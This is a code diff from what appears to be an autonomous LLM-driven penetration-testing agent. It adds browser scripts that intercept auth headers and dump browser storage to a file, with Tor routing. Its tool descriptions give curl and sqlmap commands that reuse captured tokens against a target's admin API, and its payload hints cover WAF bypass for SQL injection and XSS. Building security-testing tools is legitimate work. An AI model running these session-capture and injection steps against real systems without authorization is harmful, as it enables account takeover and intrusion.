7675
|
+
const _raw = _tokenEntry[1];
|
|
7676
|
+
_authHeaders['Authorization'] = _raw.startsWith('Bearer ') ? _raw : 'Bearer ' + _raw;
|
|
7677
|
+
}
|
|
7678
|
+
}
|
|
7679
|
+
|
|
7680
|
+
if (_cookieHeader) _authHeaders['Cookie'] = _cookieHeader;
|
|
7681
|
+
if (_intercepted['x-csrf-token']) _authHeaders['X-CSRF-Token'] = _intercepted['x-csrf-token'];
|
|
7682
|
+
if (_intercepted['x-api-key']) _authHeaders['X-API-Key'] = _intercepted['x-api-key'];
|
|
7683
|
+
|
|
7684
|
+
// Raw storage dump for LLM to inspect (truncated per value)
|
|
7685
|
+
_authHeaders['_storage'] = JSON.stringify({
|
|
7686
|
+
ls: Object.fromEntries(Object.entries(_allStorage.localStorage).map(([k, v]) => [k, String(v).slice(0, 300)])),
|
|
7687
|
+
ss: Object.fromEntries(Object.entries(_allStorage.sessionStorage).map(([k, v]) => [k, String(v).slice(0, 300)]))
|
|
7688
|
+
});
|
|
7689
|
+
|
|
7690
|
+
const _authHeadersPath = ${safeSessionPath}.replace('${BROWSER_PATHS.SESSION_FILE}', '${BROWSER_PATHS.AUTH_HEADERS_FILE}');
|
|
7691
|
+
fs.writeFileSync(_authHeadersPath, JSON.stringify(_authHeaders, null, 2), { mode: 0o600 });
|
|
7692
|
+
`;
|
|
7693
|
+
}
|
|
7694
|
+
|
|
7367
7695
|
// src/engine/tools/web-browser/scripts/builder.ts
|
|
7368
|
-
function buildBrowseScript(url, options, screenshotPath) {
|
|
7696
|
+
function buildBrowseScript(url, options, screenshotPath, sessionPath) {
|
|
7369
7697
|
const safeUrl = safeJsString(url);
|
|
7370
7698
|
const safeUserAgent = safeJsString(options.userAgent || BROWSER_CONFIG.DEFAULT_USER_AGENT);
|
|
7371
7699
|
const safeScreenshotPath = screenshotPath ? safeJsString(screenshotPath) : "null";
|
|
7372
7700
|
const safeExtraHeaders = JSON.stringify(options.extraHeaders || {});
|
|
7373
7701
|
const playwrightPath = getPlaywrightPath();
|
|
7374
7702
|
const safePlaywrightPath = safeJsString(playwrightPath);
|
|
7703
|
+
const safeSessionPath = sessionPath ? safeJsString(sessionPath) : null;
|
|
7375
7704
|
return `
|
|
7376
7705
|
const { chromium } = require(${safePlaywrightPath});
|
|
7706
|
+
const fs = require('fs');
|
|
7377
7707
|
|
|
7378
7708
|
(async () => {
|
|
7379
7709
|
const browser = await chromium.launch({
|
|
@@ -7381,21 +7711,30 @@ const { chromium } = require(${safePlaywrightPath});
|
|
|
7381
7711
|
args: ['${PLAYWRIGHT_ARG.NO_SANDBOX}', '${PLAYWRIGHT_ARG.DISABLE_SETUID_SANDBOX}', ${JSON.stringify(getTorBrowserArgs()).slice(1, -1)}].filter(Boolean)
|
|
7382
7712
|
});
|
|
7383
7713
|
|
|
7384
|
-
|
|
7714
|
+
// \xA74 Browser Session: load existing session if requested
|
|
7715
|
+
const contextOptions = {
|
|
7385
7716
|
userAgent: ${safeUserAgent},
|
|
7386
7717
|
viewport: { width: ${options.viewport.width}, height: ${options.viewport.height} },
|
|
7387
7718
|
extraHTTPHeaders: ${safeExtraHeaders}
|
|
7388
|
-
}
|
|
7719
|
+
};
|
|
7720
|
+
${safeSessionPath && options.useSession ? `
|
|
7721
|
+
if (fs.existsSync(${safeSessionPath})) {
|
|
7722
|
+
contextOptions.storageState = ${safeSessionPath};
|
|
7723
|
+
}` : ""}
|
|
7724
|
+
|
|
7725
|
+
const context = await browser.newContext(contextOptions);
|
|
7389
7726
|
|
|
7390
7727
|
const page = await context.newPage();
|
|
7391
7728
|
|
|
7729
|
+
${getNetworkAuthInterceptSnippet("_capturedHeaders")}
|
|
7730
|
+
|
|
7392
7731
|
try {
|
|
7393
7732
|
await page.goto(${safeUrl}, { waitUntil: 'networkidle', timeout: ${options.timeout} });
|
|
7394
7733
|
|
|
7395
7734
|
// Wait for dynamic content
|
|
7396
7735
|
await page.waitForTimeout(${options.waitAfterLoad});
|
|
7397
7736
|
|
|
7398
|
-
const result = {};
|
|
7737
|
+
const result = { _interceptedAuth: _capturedHeaders };
|
|
7399
7738
|
|
|
7400
7739
|
// Extract title
|
|
7401
7740
|
result.title = await page.title();
|
|
@@ -7442,6 +7781,118 @@ const { chromium } = require(${safePlaywrightPath});
|
|
|
7442
7781
|
// Take screenshot
|
|
7443
7782
|
${screenshotPath ? `await page.screenshot({ path: ${safeScreenshotPath}, fullPage: false });` : ""}
|
|
7444
7783
|
|
|
7784
|
+
// \xA74 Browser Session: save state + capture auth headers (LLM-independent, no hardcoded keys)
|
|
7785
|
+
${safeSessionPath && options.saveSession ? `
|
|
7786
|
+
await context.storageState({ path: ${safeSessionPath} });
|
|
7787
|
+
result.sessionSaved = ${safeSessionPath};
|
|
7788
|
+
|
|
7789
|
+
${getStorageAndAuthDumpSnippet("result._interceptedAuth", safeSessionPath)}
|
|
7790
|
+
result.authHeadersSaved = _authHeadersPath;
|
|
7791
|
+
result.authHeadersNote = 'auth-headers.json contains intercepted network headers + full storage dump. LLM should inspect _storage field for unlabeled tokens.';
|
|
7792
|
+
` : ""}
|
|
7793
|
+
|
|
7794
|
+
console.log(JSON.stringify(result));
|
|
7795
|
+
} catch (error) {
|
|
7796
|
+
console.log(JSON.stringify({ error: error.message }));
|
|
7797
|
+
} finally {
|
|
7798
|
+
await browser.close();
|
|
7799
|
+
}
|
|
7800
|
+
})();
|
|
7801
|
+
`;
|
|
7802
|
+
}
|
|
7803
|
+
function buildFormScript(params) {
|
|
7804
|
+
const { safeUrl, safeFormData, safePlaywrightPath, timeout, useSession, saveSession, safeSessionPath } = params;
|
|
7805
|
+
return `
|
|
7806
|
+
const { chromium } = require(${safePlaywrightPath});
|
|
7807
|
+
const fs = require('fs');
|
|
7808
|
+
|
|
7809
|
+
(async () => {
|
|
7810
|
+
const browser = await chromium.launch({
|
|
7811
|
+
headless: true,
|
|
7812
|
+
args: ['${PLAYWRIGHT_ARG.NO_SANDBOX}', '${PLAYWRIGHT_ARG.DISABLE_SETUID_SANDBOX}', ${JSON.stringify(getTorBrowserArgs()).slice(1, -1)}].filter(Boolean)
|
|
7813
|
+
});
|
|
7814
|
+
|
|
7815
|
+
// \xA74 Session: load existing session if requested
|
|
7816
|
+
const contextOptions = {};
|
|
7817
|
+
${safeSessionPath && useSession ? `
|
|
7818
|
+
if (fs.existsSync(${safeSessionPath})) {
|
|
7819
|
+
contextOptions.storageState = ${safeSessionPath};
|
|
7820
|
+
}` : ""}
|
|
7821
|
+
const context = await browser.newContext(contextOptions);
|
|
7822
|
+
const page = await context.newPage();
|
|
7823
|
+
|
|
7824
|
+
${getNetworkAuthInterceptSnippet("_capturedHeaders")}
|
|
7825
|
+
|
|
7826
|
+
try {
|
|
7827
|
+
await page.goto(${safeUrl}, { waitUntil: 'networkidle', timeout: ${timeout} });
|
|
7828
|
+
|
|
7829
|
+
// \xA7LLM-AUTONOMY: Semantic form field matching via Accessibility Tree + multiple strategies.
|
|
7830
|
+
// No hardcoded CSS selector rules. Tries in priority order:
|
|
7831
|
+
// 1. name/id attribute (exact)
|
|
7832
|
+
// 2. aria-label / placeholder semantic match (case-insensitive)
|
|
7833
|
+
// 3. input[type] semantic inference (username\u2192text, password\u2192password)
|
|
7834
|
+
const formData = ${safeFormData};
|
|
7835
|
+
for (const [fieldKey, fieldValue] of Object.entries(formData)) {
|
|
7836
|
+
const lk = fieldKey.toLowerCase();
|
|
7837
|
+
|
|
7838
|
+
// Strategy 1: exact name/id/aria-label attribute
|
|
7839
|
+
let el = await page.$(\`[name="\${fieldKey}"], #\${fieldKey}\`);
|
|
7840
|
+
|
|
7841
|
+
// Strategy 2: semantic aria-label or placeholder match
|
|
7842
|
+
if (!el) {
|
|
7843
|
+
el = await page.evaluateHandle((key) => {
|
|
7844
|
+
const inputs = [...document.querySelectorAll('input, textarea, select')];
|
|
7845
|
+
return inputs.find(i =>
|
|
7846
|
+
(i.getAttribute('aria-label') || '').toLowerCase().includes(key) ||
|
|
7847
|
+
(i.getAttribute('placeholder') || '').toLowerCase().includes(key) ||
|
|
7848
|
+
(i.getAttribute('name') || '').toLowerCase().includes(key) ||
|
|
7849
|
+
(i.getAttribute('id') || '').toLowerCase().includes(key)
|
|
7850
|
+
) || null;
|
|
7851
|
+
}, lk).then(h => h.asElement());
|
|
7852
|
+
}
|
|
7853
|
+
|
|
7854
|
+
// Strategy 3: type-based inference (username/email/user \u2192 type=text/email, password \u2192 type=password)
|
|
7855
|
+
if (!el) {
|
|
7856
|
+
let inferredType = null;
|
|
7857
|
+
if (['username', 'user', 'email', 'login'].includes(lk)) inferredType = ['text', 'email'];
|
|
7858
|
+
if (['password', 'pass', 'pwd'].includes(lk)) inferredType = ['password'];
|
|
7859
|
+
if (inferredType) {
|
|
7860
|
+
el = await page.$(\`input[type="\${inferredType[0]}"\${inferredType[1] ? \`, input[type="\${inferredType[1]}"\` : ''}]\`);
|
|
7861
|
+
}
|
|
7862
|
+
}
|
|
7863
|
+
|
|
7864
|
+
if (el) {
|
|
7865
|
+
await el.fill(String(fieldValue));
|
|
7866
|
+
}
|
|
7867
|
+
}
|
|
7868
|
+
|
|
7869
|
+
// \xA7LLM-AUTONOMY: Submit via semantic search \u2014 finds any element that looks like a submit action.
|
|
7870
|
+
const submitEl = await page.$([
|
|
7871
|
+
'button[type="submit"]',
|
|
7872
|
+
'input[type="submit"]',
|
|
7873
|
+
'[role="button"][type="submit"]',
|
|
7874
|
+
'button:has-text("Login"), button:has-text("Sign in"), button:has-text("Submit")',
|
|
7875
|
+
'button:has-text("\uB85C\uADF8\uC778"), button:has-text("\uB85C\uADF8\uC778\uD558\uAE30")',
|
|
7876
|
+
].join(', ')).catch(() => null);
|
|
7877
|
+
|
|
7878
|
+
if (submitEl) {
|
|
7879
|
+
await submitEl.click();
|
|
7880
|
+
await page.waitForLoadState('networkidle').catch(() => {});
|
|
7881
|
+
}
|
|
7882
|
+
|
|
7883
|
+
// \xA74 Session: save state + capture real auth headers (no hardcoded keys)
|
|
7884
|
+
${safeSessionPath && saveSession ? `
|
|
7885
|
+
await context.storageState({ path: ${safeSessionPath} });
|
|
7886
|
+
|
|
7887
|
+
${getStorageAndAuthDumpSnippet("_capturedHeaders", safeSessionPath)}
|
|
7888
|
+
` : ""}
|
|
7889
|
+
|
|
7890
|
+
const result = {
|
|
7891
|
+
url: page.url(),
|
|
7892
|
+
title: await page.title(),
|
|
7893
|
+
${safeSessionPath && saveSession ? `authHeadersSaved: ${safeSessionPath}.replace('${BROWSER_PATHS.SESSION_FILE}', '${BROWSER_PATHS.AUTH_HEADERS_FILE}'),` : ""}
|
|
7894
|
+
};
|
|
7895
|
+
|
|
7445
7896
|
console.log(JSON.stringify(result));
|
|
7446
7897
|
} catch (error) {
|
|
7447
7898
|
console.log(JSON.stringify({ error: error.message }));
|
|
@@ -7493,12 +7944,27 @@ function formatBrowserOutput(data, options) {
|
|
|
7493
7944
|
lines.push("");
|
|
7494
7945
|
});
|
|
7495
7946
|
}
|
|
7947
|
+
if (data.authHeadersSaved) {
|
|
7948
|
+
lines.push("## Session Saved");
|
|
7949
|
+
lines.push(`- Playwright state : ${data.sessionSaved || BROWSER_PATHS.SESSION_FILE}`);
|
|
7950
|
+
lines.push(`- Auth headers file: ${data.authHeadersSaved}`);
|
|
7951
|
+
lines.push("");
|
|
7952
|
+
lines.push(`**Next step** \u2014 use ${BROWSER_PATHS.AUTH_HEADERS_FILE} in run_cmd:`);
|
|
7953
|
+
lines.push("```");
|
|
7954
|
+
lines.push(`AUTH=${data.authHeadersSaved}`);
|
|
7955
|
+
lines.push(`TOKEN=$(jq -r .Authorization $AUTH)`);
|
|
7956
|
+
lines.push(`COOKIE=$(jq -r '.["Cookie"]' $AUTH)`);
|
|
7957
|
+
lines.push(`curl -s -H "Authorization: $TOKEN" -H "Cookie: $COOKIE" http://TARGET/api/endpoint`);
|
|
7958
|
+
lines.push("```");
|
|
7959
|
+
lines.push("");
|
|
7960
|
+
}
|
|
7496
7961
|
return lines.join("\n");
|
|
7497
7962
|
}
|
|
7498
7963
|
|
|
7499
7964
|
// src/engine/tools/web-browser/browse.ts
|
|
7500
7965
|
import { join as join8 } from "path";
|
|
7501
7966
|
import { tmpdir as tmpdir3 } from "os";
|
|
7967
|
+
import { mkdirSync as mkdirSync2 } from "fs";
|
|
7502
7968
|
async function browseUrl(url, options = {}) {
|
|
7503
7969
|
try {
|
|
7504
7970
|
const browserOptions = { ...DEFAULT_BROWSER_OPTIONS, ...options };
|
|
@@ -7514,7 +7980,12 @@ async function browseUrl(url, options = {}) {
|
|
|
7514
7980
|
}
|
|
7515
7981
|
}
|
|
7516
7982
|
const screenshotPath = browserOptions.screenshot ? join8(tmpdir3(), BROWSER_PATHS.TEMP_DIR_NAME, `screenshot-${Date.now()}.png`) : void 0;
|
|
7517
|
-
|
|
7983
|
+
let sessionPath;
|
|
7984
|
+
if (browserOptions.saveSession || browserOptions.useSession) {
|
|
7985
|
+
mkdirSync2(WORKSPACE.TMP, { recursive: true });
|
|
7986
|
+
sessionPath = join8(WORKSPACE.TMP, BROWSER_PATHS.SESSION_FILE);
|
|
7987
|
+
}
|
|
7988
|
+
const script = buildBrowseScript(url, browserOptions, screenshotPath, sessionPath);
|
|
7518
7989
|
const result = await runPlaywrightScript(script, browserOptions.timeout, "browse");
|
|
7519
7990
|
if (!result.success) {
|
|
7520
7991
|
return {
|
|
@@ -7547,6 +8018,8 @@ async function browseUrl(url, options = {}) {
|
|
|
7547
8018
|
}
|
|
7548
8019
|
|
|
7549
8020
|
// src/engine/tools/web-browser/form.ts
|
|
8021
|
+
import { mkdirSync as mkdirSync3 } from "fs";
|
|
8022
|
+
import { join as join9 } from "path";
|
|
7550
8023
|
async function fillAndSubmitForm(url, formData, options = {}) {
|
|
7551
8024
|
try {
|
|
7552
8025
|
const browserOptions = { ...DEFAULT_BROWSER_OPTIONS, ...options };
|
|
@@ -7554,49 +8027,21 @@ async function fillAndSubmitForm(url, formData, options = {}) {
|
|
|
7554
8027
|
const safeFormData = JSON.stringify(formData);
|
|
7555
8028
|
const playwrightPath = getPlaywrightPath();
|
|
7556
8029
|
const safePlaywrightPath = safeJsString(playwrightPath);
|
|
7557
|
-
|
|
7558
|
-
|
|
7559
|
-
|
|
7560
|
-
(
|
|
7561
|
-
|
|
7562
|
-
|
|
7563
|
-
|
|
8030
|
+
let sessionPath;
|
|
8031
|
+
if (browserOptions.useSession || browserOptions.saveSession) {
|
|
8032
|
+
mkdirSync3(WORKSPACE.TMP, { recursive: true });
|
|
8033
|
+
sessionPath = join9(WORKSPACE.TMP, BROWSER_PATHS.SESSION_FILE);
|
|
8034
|
+
}
|
|
8035
|
+
const safeSessionPath = sessionPath ? safeJsString(sessionPath) : null;
|
|
8036
|
+
const script = buildFormScript({
|
|
8037
|
+
safeUrl,
|
|
8038
|
+
safeFormData,
|
|
8039
|
+
safePlaywrightPath,
|
|
8040
|
+
timeout: browserOptions.timeout,
|
|
8041
|
+
useSession: !!browserOptions.useSession,
|
|
8042
|
+
saveSession: !!browserOptions.saveSession,
|
|
8043
|
+
safeSessionPath
|
|
7564
8044
|
});
|
|
7565
|
-
const page = await browser.newPage();
|
|
7566
|
-
|
|
7567
|
-
try {
|
|
7568
|
-
await page.goto(${safeUrl}, { waitUntil: 'networkidle', timeout: ${browserOptions.timeout} });
|
|
7569
|
-
|
|
7570
|
-
// Fill form fields
|
|
7571
|
-
const formData = ${safeFormData};
|
|
7572
|
-
for (const [name, value] of Object.entries(formData)) {
|
|
7573
|
-
const input = await page.$(\`[name="\${name}"], #\${name}, .\${name}\`);
|
|
7574
|
-
if (input) {
|
|
7575
|
-
await input.fill(value);
|
|
7576
|
-
}
|
|
7577
|
-
}
|
|
7578
|
-
|
|
7579
|
-
// Submit form
|
|
7580
|
-
const submitBtn = await page.$('button[type="submit"], input[type="submit"], [type="submit"]');
|
|
7581
|
-
if (submitBtn) {
|
|
7582
|
-
await submitBtn.click();
|
|
7583
|
-
await page.waitForLoadState('networkidle');
|
|
7584
|
-
}
|
|
7585
|
-
|
|
7586
|
-
const result = {
|
|
7587
|
-
url: page.url(),
|
|
7588
|
-
title: await page.title(),
|
|
7589
|
-
content: await page.content()
|
|
7590
|
-
};
|
|
7591
|
-
|
|
7592
|
-
console.log(JSON.stringify(result));
|
|
7593
|
-
} catch (error) {
|
|
7594
|
-
console.log(JSON.stringify({ error: error.message }));
|
|
7595
|
-
} finally {
|
|
7596
|
-
await browser.close();
|
|
7597
|
-
}
|
|
7598
|
-
})();
|
|
7599
|
-
`;
|
|
7600
8045
|
const result = await runPlaywrightScript(script, browserOptions.timeout, "form");
|
|
7601
8046
|
if (!result.success) {
|
|
7602
8047
|
return {
|
|
@@ -7607,10 +8052,33 @@ const { chromium } = require(${safePlaywrightPath});
|
|
|
7607
8052
|
}
|
|
7608
8053
|
if (result.parsedData) {
|
|
7609
8054
|
const data = result.parsedData;
|
|
8055
|
+
let output = `Form submitted. Current URL: ${data.url}
|
|
8056
|
+
Title: ${data.title}`;
|
|
8057
|
+
if (data.authHeadersSaved) {
|
|
8058
|
+
output += `
|
|
8059
|
+
|
|
8060
|
+
## Session Saved`;
|
|
8061
|
+
output += `
|
|
8062
|
+
- Auth headers: ${data.authHeadersSaved}`;
|
|
8063
|
+
output += `
|
|
8064
|
+
|
|
8065
|
+
Usage in run_cmd:`;
|
|
8066
|
+
output += `
|
|
8067
|
+
\`\`\``;
|
|
8068
|
+
output += `
|
|
8069
|
+
AUTH=${data.authHeadersSaved}`;
|
|
8070
|
+
output += `
|
|
8071
|
+
TOKEN=$(jq -r .Authorization $AUTH)`;
|
|
8072
|
+
output += `
|
|
8073
|
+
COOKIE=$(jq -r '.["Cookie"]' $AUTH)`;
|
|
8074
|
+
output += `
|
|
8075
|
+
curl -s -H "Authorization: $TOKEN" -H "Cookie: $COOKIE" http://TARGET/api/endpoint`;
|
|
8076
|
+
output += `
|
|
8077
|
+
\`\`\``;
|
|
8078
|
+
}
|
|
7610
8079
|
return {
|
|
7611
8080
|
success: true,
|
|
7612
|
-
output
|
|
7613
|
-
Title: ${data.title}`,
|
|
8081
|
+
output,
|
|
7614
8082
|
extractedData: result.parsedData
|
|
7615
8083
|
};
|
|
7616
8084
|
}
|
|
@@ -7707,7 +8175,7 @@ async function searchWithZai(query) {
|
|
|
7707
8175
|
errorText = await response.text();
|
|
7708
8176
|
} catch {
|
|
7709
8177
|
}
|
|
7710
|
-
lastError = `z.ai web search API error ${response.status}: ${errorText.slice(0,
|
|
8178
|
+
lastError = `z.ai web search API error ${response.status}: ${errorText.slice(0, DISPLAY_LIMITS.API_ERROR_PREVIEW)}`;
|
|
7711
8179
|
debugLog("search", "z.ai web search ERROR", { attempt, status: response.status, error: errorText });
|
|
7712
8180
|
if (!isTransientHttpError(response.status)) {
|
|
7713
8181
|
break;
|
|
@@ -7730,6 +8198,8 @@ var SEARCH_API_KEY_REQUIRED = `SEARCH_API_KEY is required for web search. Set it
|
|
|
7730
8198
|
# Or Serper (Google)
|
|
7731
8199
|
export SEARCH_API_KEY=your_serper_key
|
|
7732
8200
|
export SEARCH_API_URL=https://google.serper.dev/search`;
|
|
8201
|
+
var MAX_SEARCH_ATTEMPTS = 2;
|
|
8202
|
+
var SEARCH_RETRY_WAIT_MS = 2e3;
|
|
7733
8203
|
async function webSearch(query) {
|
|
7734
8204
|
debugLog("search", "webSearch START", { query });
|
|
7735
8205
|
if (isZaiProvider()) {
|
|
@@ -7751,7 +8221,7 @@ async function webSearch(query) {
|
|
|
7751
8221
|
};
|
|
7752
8222
|
}
|
|
7753
8223
|
let lastError = "";
|
|
7754
|
-
for (let attempt = 0; attempt <
|
|
8224
|
+
for (let attempt = 0; attempt < MAX_SEARCH_ATTEMPTS; attempt++) {
|
|
7755
8225
|
try {
|
|
7756
8226
|
if (apiUrl.includes(SEARCH_URL_PATTERN.GLM) || apiUrl.includes(SEARCH_URL_PATTERN.ZHIPU)) {
|
|
7757
8227
|
debugLog("search", `Using GLM search (attempt ${attempt + 1})`);
|
|
@@ -7771,13 +8241,13 @@ async function webSearch(query) {
|
|
|
7771
8241
|
debugLog("search", `webSearch attempt ${attempt + 1} ERROR`, { error: lastError });
|
|
7772
8242
|
const isTransient = /timeout|ECONNRESET|ENOTFOUND|429|5\d{2}|rate.?limit|temporarily/i.test(lastError);
|
|
7773
8243
|
if (attempt === 0 && isTransient) {
|
|
7774
|
-
await new Promise((r) => setTimeout(r,
|
|
8244
|
+
await new Promise((r) => setTimeout(r, SEARCH_RETRY_WAIT_MS));
|
|
7775
8245
|
continue;
|
|
7776
8246
|
}
|
|
7777
8247
|
}
|
|
7778
8248
|
}
|
|
7779
8249
|
const fallbackGuidance = [
|
|
7780
|
-
`Search failed after
|
|
8250
|
+
`Search failed after ${MAX_SEARCH_ATTEMPTS} attempts: ${lastError}`,
|
|
7781
8251
|
"",
|
|
7782
8252
|
"FALLBACK \u2014 Use browse_url on these sources directly:",
|
|
7783
8253
|
` browse_url("https://book.hacktricks.wiki/en/network-services-pentesting/") \u2014 for service-specific attacks`,
|
|
@@ -7911,7 +8381,7 @@ function createDomain(def) {
|
|
|
7911
8381
|
}
|
|
7912
8382
|
|
|
7913
8383
|
// src/engine/tools/pentest-intel-tools/web-tools.ts
|
|
7914
|
-
var
|
|
8384
|
+
var createWebSearchTool = (dynamicTechniques) => ({
|
|
7915
8385
|
name: TOOL_NAMES.WEB_SEARCH,
|
|
7916
8386
|
description: `Search the web for information. Use this to:
|
|
7917
8387
|
- Find CVE details and exploit code
|
|
@@ -7934,31 +8404,56 @@ Returns search results with links and summaries.`,
|
|
|
7934
8404
|
execute: async (p) => {
|
|
7935
8405
|
const query = p.query;
|
|
7936
8406
|
const useBrowser = p.use_browser;
|
|
8407
|
+
let result;
|
|
7937
8408
|
if (useBrowser) {
|
|
7938
|
-
const
|
|
7939
|
-
|
|
8409
|
+
const r = await webSearchWithBrowser(query, "google");
|
|
8410
|
+
result = { success: r.success, output: r.output, error: r.error };
|
|
8411
|
+
} else {
|
|
8412
|
+
result = await webSearch(query);
|
|
7940
8413
|
}
|
|
7941
|
-
|
|
8414
|
+
if (result.success && result.output) {
|
|
8415
|
+
dynamicTechniques.learnFromSearchResult(query, result.output);
|
|
8416
|
+
}
|
|
8417
|
+
return result;
|
|
7942
8418
|
}
|
|
7943
|
-
};
|
|
8419
|
+
});
|
|
7944
8420
|
var browseUrlTool = {
|
|
7945
8421
|
name: TOOL_NAMES.BROWSE_URL,
|
|
7946
8422
|
description: `Navigate to a URL using a headless browser (Playwright).
|
|
7947
8423
|
Use this for:
|
|
7948
8424
|
- Browsing JavaScript-heavy websites
|
|
7949
8425
|
- Extracting links, forms, and content
|
|
7950
|
-
- Viewing security advisories
|
|
7951
|
-
-
|
|
7952
|
-
-
|
|
7953
|
-
|
|
7954
|
-
|
|
7955
|
-
|
|
8426
|
+
- Viewing security advisories, accessing documentation pages
|
|
8427
|
+
- Analyzing web application structure and attack surface
|
|
8428
|
+
- Multi-step OAuth/JWT flows requiring session continuity
|
|
8429
|
+
|
|
8430
|
+
Session persistence (save_session: true saves TWO files):
|
|
8431
|
+
1. .pentesting/workspace/browser-session.json \u2192 Playwright storageState (for use_session)
|
|
8432
|
+
2. .pentesting/workspace/auth-headers.json \u2192 Extracted Bearer token + Cookie header
|
|
8433
|
+
|
|
8434
|
+
auth-headers.json format:
|
|
8435
|
+
{ "Authorization": "Bearer eyJ...", "Cookie": "session=abc; csrf=xyz" }
|
|
8436
|
+
|
|
8437
|
+
Usage in run_cmd after save_session:
|
|
8438
|
+
AUTH_FILE=.pentesting/workspace/auth-headers.json
|
|
8439
|
+
TOKEN=$(jq -r .Authorization $AUTH_FILE)
|
|
8440
|
+
COOKIE=$(jq -r '.["Cookie"]' $AUTH_FILE)
|
|
8441
|
+
curl -H "Authorization: $TOKEN" -H "Cookie: $COOKIE" http://target/api/admin
|
|
8442
|
+
sqlmap -u "http://target/api" --headers="Authorization: $TOKEN"
|
|
8443
|
+
python3 -c "import json,requests; h=json.load(open('$AUTH_FILE')); r=requests.get('...', headers=h); print(r.text)"
|
|
8444
|
+
|
|
8445
|
+
Example full OAuth attack flow:
|
|
8446
|
+
1. browse_url(login_url, {save_session: true}) # login \u2192 saves both files
|
|
8447
|
+
2. browse_url(protected, {use_session: true}) # browser tool with session
|
|
8448
|
+
3. run_cmd "curl -H \\"Authorization: $(jq -r .Authorization .pentesting/workspace/auth-headers.json)\\" http://target/api/admin" # curl with Bearer`,
|
|
7956
8449
|
parameters: {
|
|
7957
8450
|
url: { type: "string", description: "URL to browse" },
|
|
7958
8451
|
extract_forms: { type: "boolean", description: "Extract form information (inputs, actions, methods)" },
|
|
7959
8452
|
extract_links: { type: "boolean", description: "Extract all links from the page" },
|
|
7960
8453
|
screenshot: { type: "boolean", description: "Take a screenshot of the page" },
|
|
7961
|
-
extra_headers: { type: "object", description: "Custom HTTP headers", additionalProperties: { type: "string" } }
|
|
8454
|
+
extra_headers: { type: "object", description: "Custom HTTP headers", additionalProperties: { type: "string" } },
|
|
8455
|
+
save_session: { type: "boolean", description: "Save browser session (cookies, localStorage) to disk after navigation" },
|
|
8456
|
+
use_session: { type: "boolean", description: "Load previously saved browser session before navigation" }
|
|
7962
8457
|
},
|
|
7963
8458
|
required: ["url"],
|
|
7964
8459
|
execute: async (p) => {
|
|
@@ -7967,7 +8462,9 @@ Can extract forms and inputs for security testing.`,
|
|
|
7967
8462
|
extractForms: p.extract_forms,
|
|
7968
8463
|
extractLinks: p.extract_links,
|
|
7969
8464
|
screenshot: p.screenshot,
|
|
7970
|
-
extraHeaders: p.extra_headers
|
|
8465
|
+
extraHeaders: p.extra_headers,
|
|
8466
|
+
saveSession: p.save_session,
|
|
8467
|
+
useSession: p.use_session
|
|
7971
8468
|
});
|
|
7972
8469
|
return { success: result.success, output: result.output, error: result.error };
|
|
7973
8470
|
}
|
|
@@ -7978,15 +8475,21 @@ var fillFormTool = {
|
|
|
7978
8475
|
- Testing form-based authentication
|
|
7979
8476
|
- Submitting search forms
|
|
7980
8477
|
- Testing for form injection vulnerabilities
|
|
7981
|
-
- Automated form interaction
|
|
8478
|
+
- Automated form interaction
|
|
8479
|
+
- OAuth/authentication flows (use save_session/use_session to persist session)`,
|
|
7982
8480
|
parameters: {
|
|
7983
8481
|
url: { type: "string", description: "URL containing the form" },
|
|
7984
|
-
fields: { type: "object", description: "Form field names and values to fill", additionalProperties: { type: "string" } }
|
|
8482
|
+
fields: { type: "object", description: "Form field names and values to fill", additionalProperties: { type: "string" } },
|
|
8483
|
+
save_session: { type: "boolean", description: "Save browser session after form submission (useful after login)" },
|
|
8484
|
+
use_session: { type: "boolean", description: "Load previously saved session before navigating (use after browse_url login)" }
|
|
7985
8485
|
},
|
|
7986
8486
|
required: ["url", "fields"],
|
|
7987
8487
|
execute: async (p) => {
|
|
7988
8488
|
const url = ensureUrlProtocol(p.url);
|
|
7989
|
-
const result = await fillAndSubmitForm(url, p.fields
|
|
8489
|
+
const result = await fillAndSubmitForm(url, p.fields, {
|
|
8490
|
+
saveSession: p.save_session,
|
|
8491
|
+
useSession: p.use_session
|
|
8492
|
+
});
|
|
7990
8493
|
return { success: result.success, output: result.output, error: result.error };
|
|
7991
8494
|
}
|
|
7992
8495
|
};
|
|
@@ -8121,10 +8624,10 @@ For CVEs not in this list, use web_search to find them.`
|
|
|
8121
8624
|
};
|
|
8122
8625
|
|
|
8123
8626
|
// src/engine/tools/pentest-intel-tools/index.ts
|
|
8124
|
-
var createIntelTools = () => [
|
|
8627
|
+
var createIntelTools = (dynamicTechniques) => [
|
|
8125
8628
|
nmapTool,
|
|
8126
8629
|
searchCveTool,
|
|
8127
|
-
|
|
8630
|
+
createWebSearchTool(dynamicTechniques),
|
|
8128
8631
|
browseUrlTool,
|
|
8129
8632
|
fillFormTool,
|
|
8130
8633
|
getOwaspTool,
|
|
@@ -8476,28 +8979,28 @@ function getContextRecommendations(context, variantCount) {
|
|
|
8476
8979
|
recs.push(`Generated ${variantCount} variants for context: ${context}`);
|
|
8477
8980
|
switch (context) {
|
|
8478
8981
|
case PAYLOAD_CONTEXT.URL_PARAM:
|
|
8479
|
-
recs.push("
|
|
8480
|
-
recs.push("
|
|
8481
|
-
recs.push("
|
|
8982
|
+
recs.push("bypass-hint: HTTP Parameter Pollution (same param twice) often unfiltered");
|
|
8983
|
+
recs.push("bypass-hint: GET\u2192POST or Content-Type change may bypass client-side filters");
|
|
8984
|
+
recs.push("bypass-hint: WebSocket endpoints are often unfiltered");
|
|
8482
8985
|
break;
|
|
8483
8986
|
case PAYLOAD_CONTEXT.SQL_STRING:
|
|
8484
8987
|
case PAYLOAD_CONTEXT.SQL_NUMERIC:
|
|
8485
|
-
recs.push("
|
|
8486
|
-
recs.push("
|
|
8487
|
-
recs.push("
|
|
8988
|
+
recs.push("bypass-hint: MySQL version comments /*!50000SELECT*/ bypass pattern-match filters");
|
|
8989
|
+
recs.push("bypass-hint: Time-based blind works when error/union paths are blocked");
|
|
8990
|
+
recs.push("bypass-hint: sqlmap --tamper scripts for automated WAF bypass");
|
|
8488
8991
|
break;
|
|
8489
8992
|
case PAYLOAD_CONTEXT.HTML_BODY:
|
|
8490
|
-
recs.push("
|
|
8491
|
-
recs.push("
|
|
8492
|
-
recs.push("
|
|
8993
|
+
recs.push("bypass-hint: SVG/MathML/mutation XSS when common tags are blocked");
|
|
8994
|
+
recs.push("bypass-hint: CSP header determines what JS execution paths exist");
|
|
8995
|
+
recs.push("bypass-hint: DOM-based XSS via document.location, innerHTML, postMessage");
|
|
8493
8996
|
break;
|
|
8494
8997
|
